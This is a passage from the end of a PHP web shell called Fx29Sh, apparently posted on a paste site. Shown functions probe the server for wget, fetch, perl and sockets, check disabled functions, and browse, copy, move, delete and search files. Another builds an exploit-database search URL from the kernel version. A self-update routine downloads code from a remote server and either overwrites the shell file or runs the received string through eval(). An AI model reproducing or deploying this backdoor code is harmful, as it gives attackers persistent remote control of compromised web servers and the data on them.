  2727. array("Fetch","fetch --help"),
  2728. array("Wget","wget --help"),
  2729. array("Perl","perl -v"),
  2730. );
  2731.  
  2732. $statinfo = array();
  2733. foreach ($arrfunc as $func) {
  2734. if (function_exists($func[1])) { $statinfo[] = showstat($func[0],"on"); }
  2735. else { $statinfo[] = showstat($func[0],"off"); }
  2736. }
  2737. $statinfo[] = (@extension_loaded('sockets'))?showstat("Sockets","on"):showstat("Sockets","off");
  2738. foreach ($arrcmd as $cmd) {
  2739. if (fx29exec2($cmd[1])) { $statinfo[] = showstat($cmd[0],"on"); }
  2740. else { $statinfo[] = showstat($cmd[0],"off"); }
  2741. }
  2742. return implode(" ",$statinfo);
  2743. }
  2744. function showdisfunc() {
  2745. if ($disablefunc = @ini_get("disable_functions")) {
  2746. return "<font color=#FF9900><b>".$disablefunc."</b></font>";
  2747. }
  2748. else { return "<font color=#00FF00><b>NONE</b></b></font>"; }
  2749. }
  2750. function disp_drives($curdir,$surl) {
  2751. $letters = "";
  2752. $v = explode("\\",$curdir);
  2753. $v = $v[0];
  2754. foreach (range("A","Z") as $letter) {
  2755. $bool = $isdiskette = $letter == "A";
  2756. if (!$bool) { $bool = is_dir($letter.":\\"); }
  2757. if ($bool) {
  2758. $letters .= "<a href=\"".$surl."act=ls&d=".urlencode($letter.":\\")."\"".
  2759. ($isdiskette?" onclick=\"return confirm('Make sure that the diskette is inserted properly!')\"":"")."> ";
  2760. if ($letter.":" != $v) { $letters .= $letter; }
  2761. else { $letters .= "<font color=yellow>".$letter."</font>"; }
  2762. $letters .= "</a> ";
  2763. }
  2764. }
  2765. if (!empty($letters)) { Return $letters; }
  2766. else {Return "None"; }
  2767. }
  2768. function disp_freespace($curdrv) {
  2769. $free = @disk_free_space($curdrv);
  2770. $total = @disk_total_space($curdrv);
  2771. if ($free === FALSE) { $free = 0; }
  2772. if ($total === FALSE) { $total = 0; }
  2773. if ($free < 0) { $free = 0; }
  2774. if ($total < 0) { $total = 0; }
  2775. $used = $total-$free;
  2776. $free_percent = round(100/($total/$free),2)."%";
  2777. $free = view_size($free);
  2778. $total = view_size($total);
  2779. return "$free of $total ($free_percent)";
  2780. }
  2781. ## Fx29Sh UPDATE FUNCTIONS ##
  2782. function fx29getsource($fn) {
  2783. global $fx29sh_sourcesurl;
  2784. $array = array(
  2785. "fx29sh.php" => "fx29sh.txt",
  2786. );
  2787. $name = $array[$fn];
  2788. if ($name) {return file_get_contents($fx29sh_sourcesurl.$name);}
  2789. else {return FALSE;}
  2790. }
  2791. function fx29sh_getupdate($update = TRUE) {
  2792. $url = $GLOBALS["fx29sh_updateurl"]."?version=".urlencode(base64_encode($GLOBALS["sh_ver"]))."&updatenow=".($updatenow?"1":"0");
  2793. $data = @file_get_contents($url);
  2794. if (!$data) { return "Can't connect to update-server!"; }
  2795. else {
  2796. $data = ltrim($data);
  2797. $string = substr($data,3,ord($data{2}));
  2798. if ($data{0} == "\x99" and $data{1} == "\x01") {return "Error: ".$string; return FALSE;}
  2799. if ($data{0} == "\x99" and $data{1} == "\x02") {return "You are using latest version!";}
  2800. if ($data{0} == "\x99" and $data{1} == "\x03") {
  2801. $string = explode("|",$string);
  2802. if ($update) {
  2803. $confvars = array();
  2804. $sourceurl = $string[0];
  2805. $source = file_get_contents($sourceurl);
  2806. if (!$source) {return "Can't fetch update!";}
  2807. else {
  2808. $fp = fopen(__FILE__,"w");
  2809. if (!$fp) {return "Local error: can't write update to ".__FILE__."! You may download fx29shell.php manually <a href=\"".$sourceurl."\"><u>here</u></a>.";}
  2810. else {
  2811. fwrite($fp,$source);
  2812. fclose($fp);
  2813. return "Update completed!";
  2814. }
  2815. }
  2816. }
  2817. else {return "New version are available: ".$string[1];}
  2818. }
  2819. elseif ($data{0} == "\x99" and $data{1} == "\x04") {
  2820. eval($string);
  2821. return 1;
  2822. }
  2823. else {return "Error in protocol: segmentation failed! (".$data.") ";}
  2824. }
  2825. }
  2826. function fx29_buff_prepare() {
  2827. global $sess_data;
  2828. global $act;
  2829. foreach($sess_data["copy"] as $k=>$v) {$sess_data["copy"][$k] = str_replace("\\",DIRECTORY_SEPARATOR,realpath($v));}
  2830. foreach($sess_data["cut"] as $k=>$v) {$sess_data["cut"][$k] = str_replace("\\",DIRECTORY_SEPARATOR,realpath($v));}
  2831. $sess_data["copy"] = array_unique($sess_data["copy"]);
  2832. $sess_data["cut"] = array_unique($sess_data["cut"]);
  2833. sort($sess_data["copy"]);
  2834. sort($sess_data["cut"]);
  2835. if ($act != "copy") {foreach($sess_data["cut"] as $k=>$v) {if ($sess_data["copy"][$k] == $v) {unset($sess_data["copy"][$k]); }}}
  2836. else {foreach($sess_data["copy"] as $k=>$v) {if ($sess_data["cut"][$k] == $v) {unset($sess_data["cut"][$k]);}}}
  2837. }
  2838. function fx29_sess_put($data) {
  2839. global $sess_cookie;
  2840. global $sess_data;
  2841. fx29_buff_prepare();
  2842. $sess_data = $data;
  2843. $data = serialize($data);
  2844. setcookie($sess_cookie,$data);
  2845. }
  2846. ## END Fx29Sh UPDATE FUNCTIONS ##
  2847. ## FILESYSTEM FUNCTIONS ##
  2848. function fs_copy_dir($d,$t) {
  2849. $d = str_replace("\\",DIRECTORY_SEPARATOR,$d);
  2850. if (substr($d,-1) != DIRECTORY_SEPARATOR) {$d .= DIRECTORY_SEPARATOR;}
  2851. $h = opendir($d);
  2852. while (($o = readdir($h)) !== FALSE) {
  2853. if (($o != ".") and ($o != "..")) {
  2854. if (!is_dir($d.DIRECTORY_SEPARATOR.$o)) {$ret = copy($d.DIRECTORY_SEPARATOR.$o,$t.DIRECTORY_SEPARATOR.$o);}
  2855. else {$ret = mkdir($t.DIRECTORY_SEPARATOR.$o); fs_copy_dir($d.DIRECTORY_SEPARATOR.$o,$t.DIRECTORY_SEPARATOR.$o);}
  2856. if (!$ret) {return $ret;}
  2857. }
  2858. }
  2859. closedir($h);
  2860. return TRUE;
  2861. }
  2862. function fs_copy_obj($d,$t) {
  2863. $d = str_replace("\\",DIRECTORY_SEPARATOR,$d);
  2864. $t = str_replace("\\",DIRECTORY_SEPARATOR,$t);
  2865. if (!is_dir(dirname($t))) {mkdir(dirname($t));}
  2866. if (is_dir($d)) {
  2867. if (substr($d,-1) != DIRECTORY_SEPARATOR) {$d .= DIRECTORY_SEPARATOR;}
  2868. if (substr($t,-1) != DIRECTORY_SEPARATOR) {$t .= DIRECTORY_SEPARATOR;}
  2869. return fs_copy_dir($d,$t);
  2870. }
  2871. elseif (is_file($d)) { return copy($d,$t); }
  2872. else { return FALSE; }
  2873. }
  2874. function fs_move_dir($d,$t) {
  2875. $h = opendir($d);
  2876. if (!is_dir($t)) {mkdir($t);}
  2877. while (($o = readdir($h)) !== FALSE) {
  2878. if (($o != ".") and ($o != "..")) {
  2879. $ret = TRUE;
  2880. if (!is_dir($d.DIRECTORY_SEPARATOR.$o)) {$ret = copy($d.DIRECTORY_SEPARATOR.$o,$t.DIRECTORY_SEPARATOR.$o);}
  2881. else {if (mkdir($t.DIRECTORY_SEPARATOR.$o) and fs_copy_dir($d.DIRECTORY_SEPARATOR.$o,$t.DIRECTORY_SEPARATOR.$o)) {$ret = FALSE;}}
  2882. if (!$ret) {return $ret;}
  2883. }
  2884. }
  2885. closedir($h);
  2886. return TRUE;
  2887. }
  2888. function fs_move_obj($d,$t) {
  2889. $d = str_replace("\\",DIRECTORY_SEPARATOR,$d);
  2890. $t = str_replace("\\",DIRECTORY_SEPARATOR,$t);
  2891. if (is_dir($d)) {
  2892. if (substr($d,-1) != DIRECTORY_SEPARATOR) {$d .= DIRECTORY_SEPARATOR;}
  2893. if (substr($t,-1) != DIRECTORY_SEPARATOR) {$t .= DIRECTORY_SEPARATOR;}
  2894. return fs_move_dir($d,$t);
  2895. }
  2896. elseif (is_file($d)) {
  2897. if(copy($d,$t)) {return unlink($d);}
  2898. else {unlink($t); return FALSE;}
  2899. }
  2900. else {return FALSE;}
  2901. }
  2902. function fs_rmdir($d) {
  2903. $h = opendir($d);
  2904. while (($o = readdir($h)) !== FALSE) {
  2905. if (($o != ".") and ($o != "..")) {
  2906. if (!is_dir($d.$o)) {unlink($d.$o);}
  2907. else {fs_rmdir($d.$o.DIRECTORY_SEPARATOR); rmdir($d.$o);}
  2908. }
  2909. }
  2910. closedir($h);
  2911. rmdir($d);
  2912. return !is_dir($d);
  2913. }
  2914. function fs_rmobj($o) {
  2915. $o = str_replace("\\",DIRECTORY_SEPARATOR,$o);
  2916. if (is_dir($o)) {
  2917. if (substr($o,-1) != DIRECTORY_SEPARATOR) {$o .= DIRECTORY_SEPARATOR;}
  2918. return fs_rmdir($o);
  2919. }
  2920. elseif (is_file($o)) {return unlink($o);}
  2921. else {return FALSE;}
  2922. }
  2923. ## END FILESYSTEM FUNCTIONS ##
  2924. function onphpshutdown() {
  2925. global $gzipencode,$ft;
  2926. if (!headers_sent() and $gzipencode and !in_array($ft,array("img","download","notepad"))) {
  2927. $v = @ob_get_contents();
  2928. @ob_end_clean();
  2929. @ob_start("ob_gzHandler");
  2930. echo $v;
  2931. @ob_end_flush();
  2932. }
  2933. }
  2934. function fx29shexit() { onphpshutdown(); exit; }
  2935.  
  2936. function fx29fsearch($d) {
  2937. global $found, $found_d, $found_f, $search_i_f, $search_i_d, $a;
  2938. if (substr($d,-1) != DIRECTORY_SEPARATOR) {$d .= DIRECTORY_SEPARATOR;}
  2939. $h = opendir($d);
  2940. while (($f = readdir($h)) !== FALSE) {
  2941. if($f != "." && $f != "..") {
  2942. $bool = (empty($a["name_regexp"]) and strpos($f,$a["name"]) !== FALSE) || ($a["name_regexp"] and ereg($a["name"],$f));
  2943. if (is_dir($d.$f)) {
  2944. $search_i_d++;
  2945. if (empty($a["text"]) and $bool) {$found[] = $d.$f; $found_d++;}
  2946. if (!is_link($d.$f)) {fx29fsearch($d.$f);}
  2947. }
  2948. else {
  2949. $search_i_f++;
  2950. if ($bool) {
  2951. if (!empty($a["text"])) {
  2952. $r = @file_get_contents($d.$f);
  2953. if ($a["text_wwo"]) {$a["text"] = " ".trim($a["text"])." ";}
  2954. if (!$a["text_cs"]) {$a["text"] = strtolower($a["text"]); $r = strtolower($r);}
  2955. if ($a["text_regexp"]) {$bool = ereg($a["text"],$r);}
  2956. else {$bool = strpos(" ".$r,$a["text"],1);}
  2957. if ($a["text_not"]) {$bool = !$bool;}
  2958. if ($bool) {$found[] = $d.$f; $found_f++;}
  2959. }
  2960. else {$found[] = $d.$f; $found_f++;}
  2961. }
  2962. }
  2963. }
  2964. }
  2965. closedir($h);
  2966. }
  2967. function view_size($size) {
  2968. if (!is_numeric($size)) { return FALSE; }
  2969. else {
  2970. if ($size >= 1073741824) {$size = round($size/1073741824*100)/100 ." GB";}
  2971. elseif ($size >= 1048576) {$size = round($size/1048576*100)/100 ." MB";}
  2972. elseif ($size >= 1024) {$size = round($size/1024*100)/100 ." KB";}
  2973. else {$size = $size . " B";}
  2974. return $size;
  2975. }
  2976. }
  2977. function tabsort($a,$b) { global $v; return strnatcmp($a[$v], $b[$v]);}
  2978. function view_perms($mode) {
  2979. if (($mode & 0xC000) === 0xC000) {$type = "s";}
  2980. elseif (($mode & 0x4000) === 0x4000) {$type = "d";}
  2981. elseif (($mode & 0xA000) === 0xA000) {$type = "l";}
  2982. elseif (($mode & 0x8000) === 0x8000) {$type = "-";}
  2983. elseif (($mode & 0x6000) === 0x6000) {$type = "b";}
  2984. elseif (($mode & 0x2000) === 0x2000) {$type = "c";}
  2985. elseif (($mode & 0x1000) === 0x1000) {$type = "p";}
  2986. else {$type = "?";}
  2987. $owner["read"] = ($mode & 00400)?"r":"-";
  2988. $owner["write"] = ($mode & 00200)?"w":"-";
  2989. $owner["execute"] = ($mode & 00100)?"x":"-";
  2990. $group["read"] = ($mode & 00040)?"r":"-";
  2991. $group["write"] = ($mode & 00020)?"w":"-";
  2992. $group["execute"] = ($mode & 00010)?"x":"-";
  2993. $world["read"] = ($mode & 00004)?"r":"-";
  2994. $world["write"] = ($mode & 00002)? "w":"-";
  2995. $world["execute"] = ($mode & 00001)?"x":"-";
  2996. if ($mode & 0x800) {$owner["execute"] = ($owner["execute"] == "x")?"s":"S";}
  2997. if ($mode & 0x400) {$group["execute"] = ($group["execute"] == "x")?"s":"S";}
  2998. if ($mode & 0x200) {$world["execute"] = ($world["execute"] == "x")?"t":"T";}
  2999. return $type.join("",$owner).join("",$group).join("",$world);
  3000. }
  3001. function parse_perms($mode) {
  3002. if (($mode & 0xC000) === 0xC000) {$t = "s";}
  3003. elseif (($mode & 0x4000) === 0x4000) {$t = "d";}
  3004. elseif (($mode & 0xA000) === 0xA000) {$t = "l";}
  3005. elseif (($mode & 0x8000) === 0x8000) {$t = "-";}
  3006. elseif (($mode & 0x6000) === 0x6000) {$t = "b";}
  3007. elseif (($mode & 0x2000) === 0x2000) {$t = "c";}
  3008. elseif (($mode & 0x1000) === 0x1000) {$t = "p";}
  3009. else {$t = "?";}
  3010. $o["r"] = ($mode & 00400) > 0; $o["w"] = ($mode & 00200) > 0; $o["x"] = ($mode & 00100) > 0;
  3011. $g["r"] = ($mode & 00040) > 0; $g["w"] = ($mode & 00020) > 0; $g["x"] = ($mode & 00010) > 0;
  3012. $w["r"] = ($mode & 00004) > 0; $w["w"] = ($mode & 00002) > 0; $w["x"] = ($mode & 00001) > 0;
  3013. return array("t"=>$t,"o"=>$o,"g"=>$g,"w"=>$w);
  3014. }
  3015. function parsesort($sort) {
  3016. $one = intval($sort);
  3017. $second = substr($sort,-1);
  3018. if ($second != "d") {$second = "a";}
  3019. return array($one,$second);
  3020. }
  3021. function view_perms_color($o) {
  3022. if (!is_readable($o)) {return "<font color=red>".view_perms(fileperms($o))."</font>";}
  3023. elseif (!is_writable($o)) {return "<font color=white>".view_perms(fileperms($o))."</font>";}
  3024. else {return "<font color=green>".view_perms(fileperms($o))."</font>";}
  3025. }
  3026. function str2mini($content,$len) {
  3027. if (strlen($content) > $len) {
  3028. $len = ceil($len/2) - 2;
  3029. return substr($content, 0,$len)."...".substr($content,-$len);
  3030. } else {return $content;}
  3031. }
  3032. function strips(&$arr,$k="") {
  3033. if (is_array($arr)) { foreach($arr as $k=>$v) { if (strtoupper($k) != "GLOBALS") { strips($arr["$k"]); } } }
  3034. else { $arr = stripslashes($arr); }
  3035. }
  3036.  
  3037. function getmicrotime() {
  3038. list($usec, $sec) = explode(" ", microtime());
  3039. return ((float)$usec + (float)$sec);
  3040. }
  3041.  
  3042. function milw0rm() {
  3043. $Lversion = php_uname(r);
  3044. $OSV = php_uname(s);
  3045. if(eregi("Linux",$OSV)) {
  3046. $Lversion = substr($Lversion,0,6);
  3047. return "http://milw0rm.com/search.php?dong=Linux Kernel ".$Lversion;
  3048. } else {
  3049. $Lversion = substr($Lversion,0,3);
  3050. return "http://milw0rm.com/search.php?dong=".$OSV." ".$Lversion;
  3051. }
  3052. }
  3053. function tools() {
  3054. echo "List of tools";
  3055. }
  3056.  
  3057. function sh_name() { return base64_decode("RmFUYUxpc1RpQ3pfRnggRngyOVNoZUxMIHY=").sh_ver; }
  3058. function htmlhead($safemode) {
  3059. $style = '
  3060. <style type="text/css">
  3061. body,table {font:8pt verdana;background-color:black;}
  3062. table {width:100%;}
  3063. table,td,#maininfo td {padding:3px;}
  3064. table,td,input,select,option {border:1px solid #808080;}
  3065. body,table,input,select,option {color:#FFFFFF;}
  3066. a {color:lightblue;text-decoration:none; } a:link {color:#5B5BFF;} a:hover {text-decoration:underline;} a:visited {color:#99CCFF;}
  3067. textarea {color:#dedbde;font:8pt Courier New;border:1px solid #666666;margin:2;}
  3068. #pagebar {padding:5px;border:3px solid #1E1E1E;border-collapse:collapse;}
  3069. #pagebar td {vertical-align:top;}
  3070. #pagebar,#pagebar p,.info,input,select,option {font:8pt tahoma;}
  3071. #pagebar a {font-weight:bold;color:#00FF00;}
  3072. #pagebar a:visited {color:#00CE00;}
  3073. #mainmenu {text-align:center;}
  3074. #mainmenu a {text-align: center;padding: 0px 5px 0px 5px;}
  3075. #maininfo,.barheader,.bartitle {text-align:center;}
  3076. .fleft {float:left;text-align:left;}
  3077. .fright {float:right;text-align:right;}
  3078. .bartitle {padding:5px;border:2px solid #1F1F1F;}
  3079. .barheader {font-weight:bold;padding:5px;}
  3080. .info,.info td,.info th {margin:0;padding:0;border-collapse:collapse;}
  3081. .info th {color:#00FF00;text-align:left;width:13%;}
  3082. .contents,.explorer {border-collapse:collapse;}
  3083. .contents,.explorer td,th {vertical-align:top;}
  3084. .mainpanel {border-collapse:collapse;padding:5px;}
  3085. .barheader,.mainpanel table,td {border:1px solid #333333;}
  3086. input[type="submit"],input[type="button"] {border:1px solid #000000;}
  3087. input[type="text"] {padding:3px;}
  3088. .shell {background-color:#000000;color:#00FF00;padding:5px;font-size:12;}
  3089. .fxerrmsg {color:red; font-weight:bold;}
  3090. #pagebar,#pagebar p,h1,h2,h3,h4,form {margin:0;}
  3091. #pagebar,.mainpanel,input[type="submit"],input[type="button"] {background-color:#4A4A4A;}
  3092. .bartitle,input,select,option,input[type="submit"]:hover,input[type="button"]:hover {background-color:#333333;}
  3093. textarea,#pagebar input[type="text"],.mainpanel input[type="text"],input[type="file"],select,option {background-color:#000000;}
  3094. input[type="label"] { text-align:right;}
  3095. .info,.info td,input[type="label"] {border:0;background:none;}
  3096. </style>
  3097. ';
  3098. $html_start = '
  3099. <html><head>
  3100. <title>'.getenv("HTTP_HOST").' - '.sh_name().'</title>
  3101. '.$style.'
  3102. </head>
  3103. <body>
  3104. <div class=bartitle><h4>'.sh_name().'</h4>.: No System is Perfectly Safe :.</div>
  3105. ';
  3106. return $html_start;
  3107. };
  3108. function footer() {
  3109. echo "<div class=bartitle colspan=2><font size=1 color=#00FF00> By FaTaLisTiCz_Fx, © 2008 FeeLCoMz Community, Generated: ".round(getmicrotime()-starttime,4)." seconds</font></div>";
  3110. }
  3111. chdir($lastdir); fx29shexit();
  3112. ?>
Add Comment
Please, Sign In to add comment